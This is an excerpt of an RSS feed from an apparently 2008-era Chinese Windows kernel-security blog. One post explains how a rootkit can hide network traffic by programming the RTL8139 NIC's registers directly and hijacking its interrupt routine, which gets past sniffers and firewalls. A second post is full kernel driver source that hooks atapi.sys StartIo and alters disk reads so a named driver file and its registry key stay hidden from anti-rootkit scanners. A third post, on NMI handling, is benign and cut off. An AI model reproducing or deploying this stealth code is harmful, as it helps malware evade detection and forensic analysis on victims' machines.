title="中国游戏中心游戏大厅ActiveX远程栈溢出漏洞">中国游戏中心游戏大厅ActiveX远程栈溢出漏洞</a></li><li>2009年05月16日 -- <a href="http://www.softrce.net/archives/140" title="静态分析驱动的一点技巧">静态分析驱动的一点技巧</a></li><li>2009年04月26日 -- <a href="http://www.softrce.net/archives/1" title="SoftRCE再次回归上线">SoftRCE再次回归上线</a></li><li>2010年02月10日 -- <a href="http://www.softrce.net/archives/217" title="How to adjust the Ace of device object">How to adjust the Ace of device object</a></li><li>2009年05月1日 -- <a href="http://www.softrce.net/archives/96" title="暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞">暴风影音2009(mps.dll)ActiveX远程栈溢出漏洞</a></li><li>2008年11月16日 -- <a href="http://www.softrce.net/archives/18" title="今天又地震～～">今天又地震～～</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/63/feed</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>构造无人之境: Exploiting Realtek RTL8139单芯片以太网控制器</title>
		<link>http://www.softrce.net/archives/15</link>
		<comments>http://www.softrce.net/archives/15#comments</comments>
		<pubDate>Wed, 22 Oct 2008 03:34:42 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[独孤九剑（Kernel）]]></category>

		<guid isPermaLink="false">http://174.132.145.120/~crackidz/archives/15</guid>
		<description><![CDATA[<p>优良的rootkit（以下简写为rk）通常应该具备隐蔽稳定的通信功能。正如优秀的程序员一直追求用最简洁的代码完成功能需求一样，优秀的rk coder也一直秉承着绝不在rk中加入过多无用的远程命令，让rk尽量回归其原始定义--获得&#8220;root&#8221;权限的kit的宗旨。而如何实现隐蔽是rk通信首先要考虑的问题。<br />&#160;&#160;&#160; 因此，出现了各式各样的隐蔽隐藏技术。几年前的高级手段随着内核技术的公开与普及在时下被理所当然地判定为浅&#8220;藏&#8221;辄止，而时受深度检测工具干扰的在内核级深藏不露的rk亦不能使rk coder感到一劳永逸。因为构造隐蔽通信中的无人之境才是他们永恒不变的追求。</p><p>...</p>
]]></description>
			<content:encoded><![CDATA[<p>优良的rootkit（以下简写为rk）通常应该具备隐蔽稳定的通信功能。正如优秀的程序员一直追求用最简洁的代码完成功能需求一样，优秀的rk coder也一直秉承着绝不在rk中加入过多无用的远程命令，让rk尽量回归其原始定义&#8211;获得“root”权限的kit的宗旨。而如何实现隐蔽是rk通信首先要考虑的问题。<br />
因此，出现了各式各样的隐蔽隐藏技术。几年前的高级手段随着内核技术的公开与普及在时下被理所当然地判定为浅“藏”辄止，而时受深度检测工具干扰的在内核级深藏不露的rk亦不能使rk coder感到一劳永逸。因为构造隐蔽通信中的无人之境才是他们永恒不变的追求。<span id="more-15"></span></p>
<p>一、浅“藏”<br />
一直以来隐蔽战线采取着一种策略，即：藏得了就藏，藏不了就“装”。靠在ring3层隐藏自己端口的rk如今肯定是回天乏术了，而像ring3级别的Hacker Defender以及Byshell则是通过挂接网络native api来实现端口复用从而达到不开端口隐蔽通信的伪装效果。尽管作者们使用的技术与技巧十分之精湛，但面对如今这个内核代码满天飞的局面，ring3对抗ring0还是显得势单力薄了一些。ring3级别的挂钩很容易被检测，端口复用同样会在ring0层的连接枚举下无可遁形，同时又受到基于主机的防火墙的封杀。与此同时或是更早，PCC（Passive Convert Channels）进入到某些人的视线之中。这种将后门或者rk通信数据嵌入到正常的数据包之中的方法的确很有创意（例如通过TCP报头中的ISN来传递数据的NUSHU），但却无法逃脱本身缺陷导致的局限性以及被检测的厄运。</p>
<p>二、深藏不露？<br />
伴随着rk面向内核层的全线出击，隐蔽通信方面也催生出了新技术。而这些新技术的答案也往往可以在NDIS_PROTOCOL_BLOCK之中找到。为什么？因为协议驱动，中间层驱动和微端口驱动在NDIS体系中按照自顶向下的顺序排列。所以位于最上层的协议驱动首当其冲地成为了宰割对象。并且NDIS_PROTOCOL_BLOCK这个结构可以用很强大来形容，它下面的各个成员链接到的结构可以说是五花八门、不尽其数，这里面当然就包括NDIS_OPEN_BLOCK，NDIS_PROTOCOL_CHARACTERISTICS等结构。这些结构之中包含有N多函数指针，于是很容易联想到对它们进行暗箱操作。<br />
协议驱动在DriverEntry()中会调用NdisRegisterProtocol()向NDIS库注册自己的协议，获取到一个指向NDIS_PROTOCOL_BLOCK的指针。NDIS做的则是把这个结构放到协议块链表的最前面，链表头由ndisProtocolList指定。事实上，每个协议的NDIS_PROTOCOL_BLOCK通过一个单向链表链在了一起。<br />
Uay通过挂接NDIS_PROTOCOL_CHARACTERISTICS结构中的发送和接收例程实现自己的隐蔽通信；Deepdoor则是挂接了TCP/IP协议的NDIS_OPEN_BLOCK块中的发送和接受处理例程达到目的。Uay和Deepdoor有些类似，都是在协议层上进行挂接，因此它们要自己实现封包解包等一些功能。其实可以做手脚的地方还有很多，比如DKOM NDIS_MINIPORT_BLOCK。<br />
另一方面，检测与防护战线也不甘示弱。中间层驱动，设备过滤，MajorFunction hooking，NDIS.SYS导出表挂接，NDIS代码补丁&#8230;战火一度在内核层引爆。随着基于主机的网络嗅探器与防火墙在内核位置的下移，上述原本深藏不露的隐蔽通信方法也因为疲于应付而变得捉襟见肘。其中某些手段在协议链遍历和NDIS_OPEN_BLOCK函数指针完整性检测的排挤下也开始逐渐失效。更严重的是，它们的通信数据包在Iris等网络嗅探工具下可以马上现形。因此，这就需要我们开辟新的方法。</p>
<p>三、无人之境？<br />
那么究竟如何才能绕过现有一切检测技术，并且在通信数据包不被基于主机的嗅探器截获的情况下实现隐蔽的通信呢？答案即：回归原始，直接和网卡芯片控制器交互。下面的文字将围绕这一主题展开：以PCI总线类型的Realtek RTL8139高速以太网卡为例，具体阐述rk同网卡芯片控制器实施交互的过程，探讨打造出一个如入无人之境的隐蔽rk的可能。由于某些原因，所以仅仅描述原理，感兴趣的朋友自己动手也完全没有问题。<br />
同控制器直接交互的优点在于通过直接I/O芯片上的一些端口寄存器避免了一切NDIS层面上的挂接，嗅探器完全不能抓到任何我们的数据包，因为它在我们的上面！还有，这种方法根本不受操作系统环境下对网卡状态的影响：将网络连接关闭，网卡停止等都是徒劳，因为生杀大权牢牢被我们掌控。只要网卡连在总线上，供电，网路畅通即可实现数据传输。<br />
作为目前应用范围较广的RTL8139芯片控制器提供了众多特性。比如高度集成的以太网MAC，物理芯片同收发器的集成，支持远程唤醒，最大可支持128K EPROM和Flash Memory。与此同时，RTL8139提供了为数众多的端口寄存器供映射到I/O空间，下面仅结合网卡初始化、数据包的发送与接收讲解常用的几个，其它的参考datasheet即可。</p>
<p>1. 8139初始化<br />
网卡在初始化时涉及到的寄存器有：CR（Command Register），TCR（Tx Configuration Register），RCR（Rx Configuration Register），IMR（Interrupt Mask Register），RBSTART（Rx Buffer Start Address）。它们很多可以顾名思义。初始化过程大致为：<br />
(1) 设置CR：将CR中的RE和TE标志位置1并写入CR，即启用8139网卡芯片的收发器。这两个标志位置1后，接收状态机和发送状态机将由空闲变为活动状态<br />
(2) 设置RCR：<br />
a 将RCR中的RBLEN（BIT12-11）相应位置1并写回RCR：即指定接收环形缓冲区（Rx Ring Buffer）的大小（通常设为16K+16bytes）；<br />
b 将MXDMA（BIT10-8）标志中的相应位置1，写回RCR：即指定接收的DMA传输数据最大值（通常为1024bytes）；<br />
c 将RXFTH（BIT15-13）标志中的相应位置1并写回RCR：即指定Rx FIFO的接收数据阀值（通常为64bytes），这个下面会讲到<br />
d 将AB，AM，APM位置1写回，即指明接受广播、组播以及匹配网卡地址的数据包</p>
<p>(3) 设置TCR：<br />
a 将TCR中的IFG（BIT25-24）标志位置为全1并写回TCR，指定帧间隔时间；<br />
b 将MXDMA（BIT10-8）相应位置1（视不同情况而定），指明每次DMA发送数据的最大字节数（推荐值为1024bytes）<br />
(4) 设置RBSTART：将事先分配的物理地址写入Receive Buffer Start Address，8139芯片会将Rx FIFO中的数据移动到这块物理内存<br />
(5) 设置IMR：开启除系统错误外的所有中断，并写入IMR。这个寄存器指明了在什么条件下会致使芯片的中断控制逻辑产生一个中断并调用ISR</p>
<p>2. 发送数据包<br />
其实在我们的rk中完全没必要再对网卡进行初始化，因为网卡驱动已经帮助我们做了这项工作。如果需要，rk可以读出这些端口寄存器的值进行修改（比如直接让网卡halt掉）。让我们把注意力放在8139芯片的收发数据包上。根据RTL8139 datasheet中的规定，其在进行数据发送时要用一对描述符用以描述待发送的数据。这对描述符分别是TSD（Transmit Status Descriptor）和TSAD（Transmit Start Address Descriptor）。而8139共提供了4对这样的描述符用于数据的发送，即TSD0-3，TSAD0-3。它们分别位于I/O空间的0&#215;10偏移和0&#215;20偏移处，每个描述符4字节大小。这四个描述符是轮流使用的。<br />
从硬件层讲，当对一对transmit描述符I/O完毕之后，8139芯片就会在指<br />
令的控制下通过PCI接口将数据包从物理内存以总线主控的DMA传输模式搬运到网卡芯片的发送FIFO（Tx FIFO）。而这个数据包的物理地址和大小恰好是对TSD和TSAD进行I/O写时指定过的，所以它可以很轻松地得到该数据包。8139芯片内置了两个大容量（2K）的收发FIFO用于暂存即将送上电缆及从电缆上接收的报文。如果FIFO中包含了一个完整的数据包抑或包大小到达了在TSD中指定的阀值，芯片便开始继续向下传输。接下来数据包将会经由FIFO控制逻辑部件，到达收发逻辑接口，然后再经MII接口出去离开MAC到达物理芯片。物理芯片中经过编码后再通过发送器部件送至RJ-45端口。<br />
当然，软件层没必要关心太多FIFO之后的事情，rk只需要按照规矩做就行了。发送包的流程大概如下：<br />
(1) 分配好一块物理内存，将待发送数据包拷贝到这片内存<br />
(2) I/O写transmit描述符，将数据包的内存地址和大小填入<br />
当整个数据包被送上电缆时，TSD中的TOK（Transmit OK）标志位被置为1，如果之前在IMR中开启了TOK中断，此时中断就会触发。</p>
<p>3. 接收数据包<br />
接收模块相对就要复杂一些。因为transmit是一个主动行为，而receive是被动的。rk毕竟不是硬件，没有一个机制触发它使其能比网卡更早的得到数据包到达的中断信号。因此我们不得不对网卡驱动的ISR做些处理。<br />
之前提到了所谓的Tx FIFO，那么自然就会有一个Rx FIFO。从电缆上接收的数据包首先被放置在芯片的Rx FIFO中。当Rx FIFO到达了RCR中预先设定的数据量阀值时，芯片就会发信号申请占用PCI总线，以总线主控模式通过DMA将数据传送到接收缓冲区。<br />
而这个接收缓冲区是以一个环形的方式组织而成的，其实质还是一片连续的物理内存。这里面涉及到一个CAPR（Current Address of Packet Read），其中包含了当前读到的数据包的地址。综上，那么网卡处理一个包的整个过程为：<br />
(1) 线路上接收到的数据存储在芯片的Rx FIFO中<br />
(2) 当到达接收阀值时，数据被移动到Rx Buffer（RBSTART指定的物理内存）<br />
(3) 当整个包移动完毕时，接收包头信息被写入包的起始。<br />
(4) CR中的BUFE标志位被置为1，ISR中的TOK标志位置为1<br />
(5) 网卡的ISR例程被调用，由ISR来清TOK位并更新CAPR<br />
讲到这里，原理已经很明显了。rk能做的就是替换掉网卡驱动的ISR，当接收中断产生时自己同芯片控制器交互，读包并判断是否是自己的包，如是做特殊处理，否则交由原始ISR处理，当然，也可以邪恶地对包任意进行涂改让Sniffer去嗅去吧。</p>
<p>不得不提地是，这种方法明显存在严重依赖网卡芯片型号，通用性不好的弊端，但鱼和熊掌不可兼得，我们毕竟迈出了一步，但要走的路还很远。</p>
<p>PS：由于条件受限，测试用bin会在适当的时候放出</p>
<p>四、参考资源<br />
[1] Realtek RTL8139C(L) datasheet Rev1.4, 2002<br />
[2] Sean. Programming guide and sample code for RTL8139 family. 1999<br />
[3] Alex Tereshkin. Rootkits: Attacking Personal Firewalls. BH Vegas 2006<br />
[4] Joanna Rutkowska. Fighting Stealth Malware-Towards Verifiable OSes. CCC 2006<br />
[5] uty. Uay Rootkit source code<br />
[6] Azy. AK922 Rootkit (<a>http://</a>hi.baidu.com/azy0922)</p>
<hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2010年05月7日 -- <a href="http://www.softrce.net/archives/310" title="IoRegisterDriverReinitialization 和IoRegisterBootDriverReinitialization">IoRegisterDriverReinitialization 和IoRegisterBootDriverReinitialization</a></li><li>2008年10月19日 -- <a href="http://www.softrce.net/archives/14" title="Vista Bootmgr/Winload使用的大部分选项ID">Vista Bootmgr/Winload使用的大部分选项ID</a></li><li>2008年11月16日 -- <a href="http://www.softrce.net/archives/19" title="[转载]在英特尔软件网络博客上看到的">[转载]在英特尔软件网络博客上看到的</a></li><li>2008年10月9日 -- <a href="http://www.softrce.net/archives/11" title="About the SMM rootkit">About the SMM rootkit</a></li><li>2010年08月3日 -- <a href="http://www.softrce.net/archives/320" title="SoftRCE官方T恤开始订购了~">SoftRCE官方T恤开始订购了~</a></li><li>2009年05月16日 -- <a href="http://www.softrce.net/archives/140" title="静态分析驱动的一点技巧">静态分析驱动的一点技巧</a></li><li>2008年10月22日 -- <a href="http://www.softrce.net/archives/16" title="绕过主动防御的代码注入方法一点思考">绕过主动防御的代码注入方法一点思考</a></li><li>2010年03月1日 -- <a href="http://www.softrce.net/archives/288" title="Steve Jobs在斯坦福大学毕业典礼上的演讲">Steve Jobs在斯坦福大学毕业典礼上的演讲</a></li><li>2009年04月26日 -- <a href="http://www.softrce.net/archives/1" title="SoftRCE再次回归上线">SoftRCE再次回归上线</a></li><li>2009年02月1日 -- <a href="http://www.softrce.net/archives/23" title="SoftRCE的Mail Server开通了！">SoftRCE的Mail Server开通了！</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/15/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>[POC]基于IO Packet隐藏文件和注册表，过磁盘解析和总线解析</title>
		<link>http://www.softrce.net/archives/13</link>
		<comments>http://www.softrce.net/archives/13#comments</comments>
		<pubDate>Sat, 18 Oct 2008 19:44:57 +0000</pubDate>
		<dc:creator>mj0011</dc:creator>
				<category><![CDATA[独孤九剑（Kernel）]]></category>

		<guid isPermaLink="false">http://174.132.145.120/~crackidz/archives/13</guid>
		<description><![CDATA[<h4>&#160;</h4><div class="tpc_content" id="read_tpc">昨天晚上玩过游戏，睡觉前写了一点代码，下午醒来又稍微改了改<br /><br />只是POC~<br /><br />文件的貌似有时候能隐藏又时候不行~郁闷的是每次跟过去就可以隐藏了，不跟的话有时候又隐藏不了~最后懒得改了~~~另外 由于没有动CACHE，所以对于用API或者FSD的文件检查反而过不去~<br /><br />注册表的部分过FI<font size="2">LE CACHE的低强度解析（例如狙剑）也是过不了的~由于这方面工具很少，冰刃和DARKSPY又总是在我的虚拟机上蓝屏，所以就没仔细测试了~也许有问题~<br />...</font></div>
]]></description>
			<content:encoded><![CDATA[<h4></h4>
<div id="read_tpc" class="tpc_content">昨天晚上玩过游戏，睡觉前写了一点代码，下午醒来又稍微改了改</p>
<p>只是POC~</p>
<p>文件的貌似有时候能隐藏又时候不行~郁闷的是每次跟过去就可以隐藏了，不跟的话有时候又隐藏不了~最后懒得改了~~~另外 由于没有动CACHE，所以对于用API或者FSD的文件检查反而过不去~<span id="more-13"></span></p>
<p>注册表的部分过FI<span style="font-size: x-small;">LE CACHE的低强度解析（例如狙剑）也是过不了的~由于这方面工具很少，冰刃和DARKSPY又总是在我的虚拟机上蓝屏，所以就没仔细测试了~也许有问题~</span></p>
<p><span style="font-size: x-small;">hook了atapi.sys的StartIo例程（由IoStartPacket例程调用，SCSI REQUEST BLOCK最后会调用到这里），过滤磁盘访问~</span></p>
<p><span style="font-size: x-small;">目标是隐藏名为mj0011k.sys及其注册表项~<br />
绕过所有磁盘解析（例如狙剑、FILEREG、RKU、RKR)<br />
和总线解析（例如RKU发送SRB到ATAPI）</span></p>
<p><span style="font-size: x-small;">文件隐藏的handler直接照抄了AZY的代码 ^_^</span></p>
<p><span style="font-family: Fixedsys"><span style="font-size: x-small;"><br />
</span></p>
<h6 class="quote"><span style="font-size: x-small;"> </span></h6>
<blockquote id="code1"><p><span style="font-size: x-small;">ULONG oldstartio;<br />
PDRIVER_OBJECT atapi_dev ; </span></p>
<p><span style="font-size: x-small;">VOID unload(<br />
PDEVICE_OBJECT DeviceObject,<br />
PIRP Irp<br />
)<br />
{<br />
atapi_dev-&gt;DriverStartIo = oldstartio ;<br />
return ;<br />
}<br />
CHAR fileHide[] = “MJ0011K”;<br />
CHAR fileExt[] = “SYS”;<br />
WCHAR hideFile[] = L”MJ0011K.SYS”;<br />
typedef struct _INDEX_HEADER{<br />
UCHAR            magic[4];<br />
USHORT            UpdateSequenceOffset;<br />
USHORT            SizeInWords;<br />
LARGE_INTEGER    LogFileSeqNumber;<br />
LARGE_INTEGER    VCN;<br />
ULONG            IndexEntryOffset;    // needed!<br />
ULONG            IndexEntrySize;<br />
ULONG            AllocateSize;<br />
}INDEX_HEADER, *PINDEX_HEADER;</span></p>
<p><span style="font-size: x-small;">typedef struct _INDEX_ENTRY{<br />
LARGE_INTEGER        MFTReference;<br />
USHORT            Size;                // needed!<br />
USHORT            FileNameOffset;<br />
USHORT            Flags;<br />
USHORT            Padding;<br />
LARGE_INTEGER        MFTReferParent;<br />
LARGE_INTEGER        CreationTime;<br />
LARGE_INTEGER        ModifyTime;<br />
LARGE_INTEGER        FileRecModifyTime;<br />
LARGE_INTEGER        AccessTime;<br />
LARGE_INTEGER        AllocateSize;<br />
LARGE_INTEGER        RealSize;<br />
LARGE_INTEGER        FileFlags;<br />
UCHAR            FileNameLength;<br />
UCHAR            NameSpace;<br />
WCHAR            FileName[1];<br />
}INDEX_ENTRY, *PINDEX_ENTRY;</span></p>
<p><span style="font-size: x-small;">CHAR NtfsFileRecordHeader[] = “FILE”;<br />
CHAR NtfsIndexRootHeader[] = “INDX”;<br />
#define FILERECORDSIZE 1024<br />
ULONG xxlong = 0&#215;7 ;<br />
WCHAR regname[] = L”MJ0011K”;<br />
VOID HandleRegHide(PVOID buf , ULONG len )<br />
{<br />
ULONG i ;<br />
for (i = 0 ; i &lt; len  ; i ++)<br />
{<br />
if (i + 4 &gt;= len)<br />
{<br />
break ;<br />
}<br />
if (*(ULONG*)((ULONG)buf + i ) == xxlong)<br />
{<br />
if (i + 4 + xxlong * sizeof(WCHAR) &gt;= len)<br />
{<br />
break ;<br />
}</span></p>
<p><span style="font-size: x-small;"> if (_wcsnicmp((wchar_t*)((ULONG)buf + i + 4) , regname , xxlong))<br />
{<br />
RtlZeroMemory((PVOID)((ULONG)buf + i + 4) , xxlong * sizeof(WCHAR));<br />
*(ULONG*)((ULONG)buf +i ) = 0 ;<br />
break ;<br />
}<br />
}<br />
}<br />
return ;<br />
}<br />
VOID HandleAkDiskHide(PVOID UserBuf, ULONG BufLen)<br />
{<br />
ULONG i;<br />
BOOLEAN bIsNtfsIndex;<br />
BOOLEAN bIsNtfsFile;<br />
ULONG offset = 0;<br />
ULONG indexSize = 0;<br />
PINDEX_ENTRY currIndxEntry = NULL;<br />
PINDEX_ENTRY preIndxEntry = NULL;<br />
ULONG currPosition;</p>
<p>bIsNtfsFile = (_strnicmp(UserBuf, NtfsFileRecordHeader, 4) == 0);<br />
bIsNtfsIndex = (_strnicmp(UserBuf, NtfsIndexRootHeader, 4) == 0);</p>
<p>if(bIsNtfsFile == FALSE &amp;&amp; bIsNtfsIndex == FALSE)<br />
{</p>
<p>for(i = 0; i &lt; BufLen/0&#215;20; i++)<br />
{<br />
if(!_strnicmp(UserBuf, fileHide, 5) &amp;&amp; !_strnicmp((PVOID)((ULONG)UserBuf+0&#215;8), fileExt, 3))<br />
{</p>
<p>*(PUCHAR)UserBuf        = 0xe5;<br />
*(PULONG)((ULONG)UserBuf + 0&#215;1)    = 0;</p>
<p>break;</p>
<p>}</p>
<p>UserBuf = (PVOID)((ULONG)UserBuf + 0&#215;20);</p>
<p>}</p>
<p>} else if(bIsNtfsFile) {</p>
<p>//DbgPrint(“FILE0&#8230;”);</p>
<p>for(i = 0; i &lt; BufLen / FILERECORDSIZE; i++)<br />
{<br />
if(!_wcsnicmp((PWCHAR)((ULONG)UserBuf + 0xf2), hideFile, 9))<br />
{<br />
memset((PVOID)UserBuf, 0, 0&#215;4);<br />
memset((PVOID)((ULONG)UserBuf + 0xf2), 0, 18);<br />
break;<br />
}</p>
<p>UserBuf = (PVOID)((ULONG)UserBuf + FILERECORDSIZE);</p>
<p>}<br />
&amp;nbs<br />
p;<br />
} else if(bIsNtfsIndex) {</p>
<p>//DbgPrint(“INDX&#8230;”);<br />
// Index Entries</p>
<p>offset = ((PINDEX_HEADER)UserBuf)-&gt;IndexEntryOffset + 0&#215;18;<br />
indexSize = BufLen &#8211; offset;<br />
currPosition = 0;</p>
<p>currIndxEntry = (PINDEX_ENTRY)((ULONG)UserBuf + offset);<br />
//DbgPrint(” &#8212; offset: 0x%x indexSize: 0x%x”, offset, indexSize);</p>
<p>while(currPosition &lt; indexSize &amp;&amp; currIndxEntry-&gt;Size &gt; 0 &amp;&amp; currIndxEntry-&gt;FileNameOffset &gt; 0)<br />
{<br />
if(!_wcsnicmp(currIndxEntry-&gt;FileName, hideFile, 9))<br />
{<br />
memset((PVOID)currIndxEntry-&gt;FileName, 0, 18);</p>
<p>if(currPosition == 0)<br />
{<br />
((PINDEX_HEADER)UserBuf)-&gt;IndexEntryOffset += currIndxEntry-&gt;Size;<br />
break;<br />
}</p>
<p>preIndxEntry-&gt;Size += currIndxEntry-&gt;Size;</p>
<p>break;<br />
}</p>
<p>currPosition += currIndxEntry-&gt;Size;<br />
preIndxEntry = currIndxEntry;<br />
currIndxEntry = (PINDEX_ENTRY)((ULONG)currIndxEntry + currIndxEntry-&gt;Size);</p>
<p>}<br />
}<br />
}</span></p>
<p><span style="font-size: x-small;">VOID mystartio(  PDEVICE_OBJECT DeviceObject,  PIRP Irp )<br />
{<br />
PIO_STACK_LOCATION irp_stack ; </span></p>
<p><span style="font-size: x-small;"> irp_stack = IoGetCurrentIrpStackLocation(Irp);</span></p>
<p><span style="font-size: x-small;"> if (irp_stack-&gt;DeviceObject-&gt;DeviceType == FILE_DEVICE_DISK &amp;&amp;<br />
irp_stack-&gt;Parameters.Scsi.Srb-&gt;Function == SRB_FUNCTION_EXECUTE_SCSI &amp;&amp;<br />
irp_stack-&gt;Parameters.Scsi.Srb-&gt;CdbLength == 0xA &amp;&amp;<br />
(irp_stack-&gt;Parameters.Scsi.Srb-&gt;SrbFlags &amp; SRB_FLAGS_DATA_IN) &amp;&amp;<br />
irp_stack-&gt;Parameters.Scsi.Srb-&gt;DataBuffer &amp;&amp;<br />
irp_stack-&gt;Parameters.Scsi.Srb-&gt;DataTransferLength<br />
)</span></p>
<p><span style="font-size: x-small;"> {<br />
PVOID buf = irp_stack-&gt;Parameters.Scsi.Srb-&gt;DataBuffer ;<br />
ULONG len = irp_stack-&gt;Parameters.Scsi.Srb-&gt;DataTransferLength ;<br />
ULONG i ;<br />
PMDL mdl = Irp-&gt;MdlAddress ; </span></p>
<p><span style="font-size: x-small;"> KDMSG((“disk device bus read request!lba = %08x , len = %08x\n”,<br />
irp_stack-&gt;Parameters.Scsi.Srb-&gt;QueueSortKey ,<br />
irp_stack-&gt;Parameters.Scsi.Srb-&gt;DataTransferLength));</span></p>
<p><span style="font-size: x-small;"> __asm<br />
{<br />
push    Irp<br />
push    DeviceObject<br />
call    oldstartio<br />
}</span></p>
<p><span style="font-size: x-small;"><br />
buf = MmGetSystemAddressForMdl(mdl );</span></p>
<p><span style="font-size: x-small;"> HandleAkDiskHide(buf , len );<br />
HandleRegHide(buf , len);<br />
return ;</p>
<p>}<br />
__asm<br />
{<br />
push    Irp<br />
push    DeviceObject<br />
call    oldstartio<br />
}</span></p>
<p><span style="font-size: x-small;"> return ;<br />
}<br />
NTSTATUS DriverEntry(PDRIVER_OBJECT drvobj , PUNICODE_STRING regpath)<br />
{<br />
UNICODE_STRING uniname ;<br />
NTSTATUS stat ; </span></p>
<p><span style="font-size: x-small;"> drvobj-&gt;DriverUnload = (PDRIVER_UNLOAD )unload ; </span></p>
<p><span style="font-size: x-small;"> RtlInitUnicodeString(&amp;uniname , L”\\Driver\\Atapi”);</span></p>
<p><span style="font-size: x-small;"> stat = ObReferenceObjectByName(&amp;uniname ,<br />
OBJ_CASE_INSENSITIVE ,<br />
NULL ,<br />
0,<br />
*IoDriverObjectType ,<br />
KernelMode ,<br />
NULL ,<br />
(PVOID*)&amp;atapi_dev);</span></p>
<p><span style="font-size: x-small;"> if (!NT_SUCCESS(stat))<br />
{<br />
KDMSG((“get atapi drvobj failed , stat = %08x\n” , stat));<br />
return stat ;<br />
}</span></p>
<p><span style="font-size: x-small;"> oldstartio = atapi_dev-&gt;DriverStartIo ;<br />
atapi_dev-&gt;DriverStartIo = mystartio;</span></p>
<p><span style="font-size: x-small;"> return STATUS_SUCCESS ;<br />
}</span></p></blockquote>
<p></span></div>
<hr /><h2>Related posts:</h2><ul><li><a href="http://www.softrce.net/archives/15" rel="bookmark" title="Permanent Link: 构造无人之境: Exploiting Realtek RTL8139单芯片以太网控制器">构造无人之境: Exploiting Realtek RTL8139单芯片以太网控制器</a></li></ul><hr /><small>Copyright &copy; 2008<br /> This feed is for personal, non-commercial use only. <br /> The use of this feed on other websites breaches copyright. If this content is not in your news reader, it makes the page you are viewing an infringement of the copyright. (Digital Fingerprint:<br /> 8e761b2ea8edc3ca311452b020051837)</small><h3  class="related_post_title">随机日志</h3><ul class="related_post"><li>2009年04月26日 -- <a href="http://www.softrce.net/archives/1" title="SoftRCE再次回归上线">SoftRCE再次回归上线</a></li><li>2010年05月12日 -- <a href="http://www.softrce.net/archives/312" title="RdpDr.sys Bug Check 0X7E{0xC0000005}">RdpDr.sys Bug Check 0X7E{0xC0000005}</a></li><li>2010年02月10日 -- <a href="http://www.softrce.net/archives/217" title="How to adjust the Ace of device object">How to adjust the Ace of device object</a></li><li>2009年05月15日 -- <a href="http://www.softrce.net/archives/136" title="ActiveX 控件组件的Fuzz和利用">ActiveX 控件组件的Fuzz和利用</a></li><li>2010年03月11日 -- <a href="http://www.softrce.net/archives/296" title="Think Different">Think Different</a></li><li>2008年10月9日 -- <a href="http://www.softrce.net/archives/11" title="About the SMM rootkit">About the SMM rootkit</a></li><li>2010年05月7日 -- <a href="http://www.softrce.net/archives/310" title="IoRegisterDriverReinitialization 和IoRegisterBootDriverReinitialization">IoRegisterDriverReinitialization 和IoRegisterBootDriverReinitialization</a></li><li>2009年02月1日 -- <a href="http://www.softrce.net/archives/23" title="SoftRCE的Mail Server开通了！">SoftRCE的Mail Server开通了！</a></li><li>2008年09月30日 -- <a href="http://www.softrce.net/archives/10" title="[国庆礼]Exploiting Windows Device Drivers译文版">[国庆礼]Exploiting Windows Device Drivers译文版</a></li><li>2008年11月16日 -- <a href="http://www.softrce.net/archives/19" title="[转载]在英特尔软件网络博客上看到的">[转载]在英特尔软件网络博客上看到的</a></li></ul>]]></content:encoded>
			<wfw:commentRss>http://www.softrce.net/archives/13/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>About Handling Nmi</title>
		<link>http://www.softrce.net/archives/12</link>
		<comments>http://www.softrce.net/archives/12#comments</comments>
		<pubDate>Wed, 15 Oct 2008 06:39:27 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[独孤九剑（Kernel）]]></category>

		<guid isPermaLink="false">http://174.132.145.120/~crackidz/archives/12</guid>
		<description><![CDATA[<p>&#160;&#160;&#160;本文基于Windows2003以上32位系统，因为XP处理NMI很弱，我们后面再说。<br />&#160;&#160;&#160; 最近为硬件写驱动，需要处理关于NMI的一些东西，2003或者Vsita32上如果你不想弄的太复杂,可以调用新增的KeRegisterNmiCallback函数注册一个回调函数等待处理.但是在XP下就很困难,解决的办法有两个:hook或者update.所谓hook,这个不难理解,hook在哪里就仁者见仁了;而update就是仿造2003下的实现方法,在XP下自己实现一些处理例程....</p>
]]></description>
			<content:encoded><![CDATA[<p>本文基于Windows2003以上32位系统，因为XP处理NMI很弱，我们后面再说。<br />
最近为硬件写驱动，需要处理关于NMI的一些东西，2003或者Vsita32上如果你不想弄的太复杂,可以调用新增的KeRegisterNmiCallback函数注册一个回调函数等待处理.但是在XP下就很困难,解决的办法有两个:hook或者update.所谓hook,这个不难理解,hook在哪里就仁者见仁了;而update就是仿造2003下的实现方法,在XP下自己实现一些处理例程,虽然要建立一些必要的结构,也要修改特定的描述符,显得繁杂,但是比起hook来更有成就感.另外,研究和处理中断的方法类似,大家可以自己调试编码其他的中断,会有很多启发的. 项目的代码不好公开,那就把以前记录的一些资料和最新的体会写下来，希望对大家有用。<span id="more-12"></span><br />
Nmi(Non Maskable Interrupt),一般在紧急的电源故障、总线超时或者存储器奇偶校验出错时被发出，对应的中断向量号为2，即int 2。CPU有两根引脚INTR和NMI接受外部中断请求信号:INTR接受可屏蔽中断请求，NMI接受不可屏蔽中断请求。下面是调试器的结果:</p>
<p>kd&gt; !idt -a</p>
<p>Dumping IDT:<br />
00: 8082409e nt!KiTrap00<br />
01: 8082421a nt!KiTrap01<br />
02: Task Selector = 0&#215;0058<br />
03: 8082462a nt!KiTrap03<br />
04: 808247a6 nt!KiTrap04<br />
05: 80824904 nt!KiTrap05<br />
06: 80824a86 nt!KiTrap06<br />
07: 808250e6 nt!KiTrap07<br />
08: Task Selector = 0&#215;0050<br />
09: 80825518 nt!KiTrap09<br />
0a: 80825632 nt!KiTrap0A<br />
//&#8230;<br />
ff: 808231b0 nt!KiUnexpectedInterrupt207</p>
<p>相关的中断可以查阅详细资料<sub>[1]</sub>，我们只关心下面两个：<br />
IDTEntry _KiTrap02, D_INT032 ; 2: NMI/NPX Error<br />
